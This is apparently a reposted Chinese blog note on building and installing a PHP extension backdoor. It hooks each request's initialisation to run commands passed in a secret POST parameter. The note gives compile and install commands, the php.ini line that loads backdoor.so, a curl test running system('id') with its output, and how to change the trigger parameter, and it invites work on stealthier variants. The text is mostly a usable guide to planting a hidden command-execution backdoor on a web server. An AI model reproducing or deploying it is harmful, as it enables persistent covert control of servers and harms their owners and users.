linux 編寫 php擴充套件 小實驗
阿新 • • 發佈:2018-11-16
環境 Ubuntu 16.04, PHP 5.6
php擴充套件後門小實驗
git: https://github.com/Gekkoou/php-extension-backdoor
利用了 PHP SAPI
的生命週期, 當有請求的時候, 呼叫一次所有模組的請求初始化函式(PHP_RINIT_FUNCTION
), 然後執行POST過來指定引數的命令. 當然這只是簡單的用法, 複雜的隱匿性高的可以去深入研究一下.
編譯安裝
# phpize && ./configure && make && sudo make install
修改配置檔案 php.ini
, 增加 extension=backdoor.so
重啟PHP服務 srevice php-fpm restart
測試
# curl http://localhost/index.php --data "execute=system('id');"
uid=1002(www) gid=1002(www) groups=1002(www)
自定義POST引數
修改檔案 backdoor.c
char* secret_string = "execute";
# char* secret_string = "POST引數";